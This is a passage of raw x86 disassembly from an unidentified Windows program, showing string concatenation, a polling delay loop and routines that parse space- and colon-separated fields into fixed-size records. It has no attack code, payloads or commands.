		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_437048
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C278
		cmp	eax, 4C3h
		jnz	short loc_41C281


loc_41C278:				; CODE XREF: ___:0041C26Fj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_437048
; ---------------------------------------------------------------------------


loc_41C281:				; CODE XREF: ___:0041C276j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C298
		cmp	eax, 4C3h
		jz	short loc_41C298
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C298:				; CODE XREF: ___:0041C286j
					; ___:0041C28Dj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C300:				; CODE XREF: ___:00401EC9j
		sub	esp, 354h
		mov	eax, off_443E74
		mov	ecx, dword_443E78
		mov	[esp+0], eax
		mov	al, byte_446F30
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443E7C
		rep stosd
		mov	ecx, off_443E6C
		mov	[esp+10h], edx
		mov	dx, word_443E70
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		nop
		call	near ptr 2830000h
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_43704E
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C3E8
		mov	esi, dword_50F8D0


loc_41C3CC:				; CODE XREF: ___:0041C3E6j
		push	7D0h
		call	esi
		push	0
		lea	ecx, [esp+130h]
		push	0
		push	ecx
		call	sub_43704E
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41C3CC


loc_41C3E8:				; CODE XREF: ___:0041C3C4j
		pop	edi
		mov	al, 1
		pop	esi
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_41C440	proc near		; CODE XREF: sub_401D7Fj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41C440
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		lea	eax, [esp+5Ch+var_3C]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+0BCh]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
sub_41C440	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		lea	edx, [esp+24h]
		push	6
		push	edx
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+118h]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		lea	ecx, [esp+20h]
		push	6
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+0EAh]
		push	eax
		push	edx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	4
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	eax, [esp+24h]
		push	8
		push	eax
		call	sub_4019B5
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	edx, [esp+28h]
		push	8
		push	edx
		call	sub_4019B5
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017E4
		push	eax
		lea	eax, [esi+60h]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	5
		push	14h
		push	1
		push	4
		push	10h
		push	15h
		push	4Fh
		push	10h
		push	14h
		push	14h
		lea	ecx, [esp+4Ch]
		push	8
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 5
		call	sub_4017E4
		add	esi, 32h
		push	eax
		push	esi
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C6C0	proc near		; CODE XREF: sub_401064j

var_111		= byte ptr -111h
var_110		= dword	ptr -110h
var_10C		= byte ptr -10Ch
var_F4		= byte ptr -0F4h
var_DC		= byte ptr -0DCh
var_C4		= byte ptr -0C4h
var_AC		= byte ptr -0ACh
var_94		= byte ptr -94h
var_7C		= byte ptr -7Ch
var_67		= byte ptr -67h
var_52		= byte ptr -52h
var_3D		= byte ptr -3Dh
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_41C6C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 108h
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+124h+var_10C]
		call	sub_401424
		lea	ecx, [esp+124h+var_DC]
		mov	[esp+124h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401424
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401424
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401424
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_401B36
		mov	esi, [esp+124h+arg_0]
		mov	bl, 5
		lea	ecx, [ebp+8Eh]
		mov	byte ptr [esp+124h+var_4], bl
		lea	edi, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		lea	ecx, [ebp+4]
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41C8EC
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 6
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D251
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C54 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 7
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 8
		jz	short loc_41C87C
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C87E
; ---------------------------------------------------------------------------


loc_41C87C:				; CODE XREF: sub_41C6C0+1AFj
		xor	edi, edi


loc_41C87E:				; CODE XREF: sub_41C6C0+1BAj
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41C8EC:				; CODE XREF: sub_41C6C0+C0j
		lea	ecx, [ebp+60h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CA6B
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 9
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D251
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C54 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Ah
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Bh
		jz	short loc_41C9FB
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41C9FD
; ---------------------------------------------------------------------------


loc_41C9FB:				; CODE XREF: sub_41C6C0+32Ej
		xor	edi, edi


loc_41C9FD:				; CODE XREF: sub_41C6C0+339j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	eax
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 0
		mov	cl, [esi+93h]
		mov	[edi+92h], cl
		mov	dl, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], dl
		call	sub_4013D4


loc_41CA6B:				; CODE XREF: sub_41C6C0+23Fj
		lea	ecx, [ebp+32h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CCA6
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 0Ch
		push	ecx
		mov	ecx, eax
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D251
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		push	offset asc_443C54 ; ":"
		lea	ecx, [esp+128h+var_10C]
		call	sub_401A9B
		mov	eax, [esp+124h+var_28]
		lea	ecx, [esp+124h+var_10C]
		push	eax
		call	sub_401140
		lea	ecx, [esp+124h+var_24]
		push	ecx
		lea	ecx, [esp+128h+var_DC]
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+12Ch+var_F4]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 0Dh
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	eax, [esp+128h+var_F4]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44755A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 0Eh
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41CC0E
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D2C2
; ---------------------------------------------------------------------------


loc_41CC0E:				; CODE XREF: sub_41C6C0+4D6j
		push	94h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 0Fh
		jz	short loc_41CC36
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CC38
; ---------------------------------------------------------------------------


loc_41CC36:				; CODE XREF: sub_41C6C0+569j
		xor	edi, edi


loc_41CC38:				; CODE XREF: sub_41C6C0+574j
		lea	ecx, [esp+124h+var_10C]
		mov	byte ptr [esp+124h+var_4], bl
		push	ecx
		lea	ecx, [edi+11h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 0
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CCA6:				; CODE XREF: sub_41C6C0+3BEj
		lea	ecx, [ebp+0BCh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CE4B
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 10h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D251
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 11h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 12h
		jz	short loc_41CDBE
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CDC0
; ---------------------------------------------------------------------------


loc_41CDBE:				; CODE XREF: sub_41C6C0+6F1j
		xor	edi, edi


loc_41CDC0:				; CODE XREF: sub_41C6C0+6FCj
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CE4B:				; CODE XREF: sub_41C6C0+5FCj
		lea	ecx, [ebp+118h]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41CFF0
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 13h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D251
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 14h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	94h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 15h
		jz	short loc_41CF63
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41CF65
; ---------------------------------------------------------------------------


loc_41CF63:				; CODE XREF: sub_41C6C0+896j
		xor	edi, edi


loc_41CF65:				; CODE XREF: sub_41C6C0+8A1j
		lea	edx, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	edx
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	eax, [esp+124h+var_DC]
		lea	ecx, [edi+26h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_C4]
		push	ecx
		lea	ecx, [edi+65h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_94]
		lea	ecx, [edi+50h]
		push	eax
		call	sub_401FBE
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [edi+7Ah]
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 1
		mov	byte ptr [edi+90h], 0
		mov	byte ptr [edi+91h], 1
		mov	dl, [esi+93h]
		mov	[edi+92h], dl
		mov	al, [esi+94h]
		mov	ecx, edi
		mov	[edi+93h], al
		call	sub_4013D4


loc_41CFF0:				; CODE XREF: sub_41C6C0+7A1j
		lea	ecx, [ebp+0EAh]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41D251
		push	offset asc_443600 ; " "
		lea	ecx, [esp+128h+var_F4]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		lea	edx, [esp+124h+var_7C]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+128h+var_4], 16h
		call	sub_401681
		push	eax
		call	sub_401938
		add	esp, 8
		lea	ecx, [esp+124h+var_F4]
		test	al, al
		setz	[esp+124h+var_111]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jnz	loc_41D251
		lea	eax, [esp+124h+var_52]
		lea	ecx, [esp+124h+var_AC]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_3D]
		push	ecx
		lea	ecx, [esp+128h+var_94]
		call	sub_401FBE
		lea	edx, [esp+124h+var_67]
		lea	ecx, [esp+124h+var_10C]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_24]
		lea	ecx, [esp+124h+var_DC]
		push	eax
		call	sub_401FBE
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+12Ch+var_F4]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+128h+var_C4]
		mov	byte ptr [esp+128h+var_4], 17h
		call	sub_401FBE
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		call	sub_401226
		push	offset asc_443600 ; " "
		lea	edx, [esp+128h+var_F4]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		push	offset word_44755A
		mov	ecx, eax
		mov	byte ptr [esp+128h+var_4], 18h
		call	sub_401B72
		test	eax, eax
		lea	ecx, [esp+124h+var_F4]
		mov	byte ptr [esp+124h+var_4], bl
		setz	[esp+124h+var_111]
		call	sub_401226
		mov	al, [esp+124h+var_111]
		test	al, al
		jz	short loc_41D19C
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_41D2C2
; ---------------------------------------------------------------------------


loc_41D19C:				; CODE XREF: sub_41C6C0+A64j
		push	94h
		call	sub_43689A
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+124h+var_110], eax
		test	eax, eax
		mov	byte ptr [esp+124h+var_4], 19h
		jz	short loc_41D1C4
		mov	ecx, eax
		call	sub_4021C6
		mov	edi, eax
		jmp	short loc_41D1C6
; ---------------------------------------------------------------------------


loc_41D1C4:				; CODE XREF: sub_41C6C0+AF7j
		xor	edi, edi


loc_41D1C6:				; CODE XREF: sub_41C6C0+B02j
		lea	eax, [esp+124h+var_10C]
		lea	ecx, [edi+11h]
		push	eax
		mov	byte ptr [esp+128h+var_4], bl
		call	sub_401FBE
		lea	ecx, [esp+124h+var_DC]
		push	ecx
		lea	ecx, [edi+26h]
		call	sub_401FBE
		lea	edx, [esp+124h+var_C4]
		lea	ecx, [edi+65h]
		push	edx
		call	sub_401FBE
		lea	eax, [esp+124h+var_AC]
		lea	ecx, [edi+3Bh]
		push	eax
		call	sub_401FBE
		lea	ecx, [esp+124h+var_94]
		push	ecx
		lea	ecx, [edi+50h]
		call	sub_401FBE
		lea	edx, [esi+69h]
		lea	ecx, [edi+7Ah]
		push	edx
		call	sub_401FBE
		mov	byte ptr [edi+8Fh], 0
		mov	byte ptr [edi+90h], 1
		mov	byte ptr [edi+91h], 1
		mov	al, [esi+93h]
		mov	[edi+92h], al
		mov	cl, [esi+94h]
		mov	[edi+93h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_41D251:				; CODE XREF: sub_41C6C0+116j
					; sub_41C6C0+295j ...
		lea	ecx, [esp+124h+var_7C]
		mov	byte ptr [esp+124h+var_4], 4
		call	sub_4014B0
		lea	ecx, [esp+124h+var_C4]
		mov	byte ptr [esp+124h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+124h+var_94]
		mov	byte ptr [esp+124h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+124h+var_AC]
		mov	byte ptr [esp+124h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+124h+var_DC]
		mov	byte ptr [esp+124h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+124h+var_10C]
		mov	[esp+124h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_41D2C2:				; CODE XREF: sub_41C6C0+549j
					; sub_41C6C0+AD7j
		mov	ecx, [esp+124h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 114h
		retn	4
sub_41C6C0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 310h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41D5F0	proc near		; CODE XREF: sub_401B36j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_41D5F0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
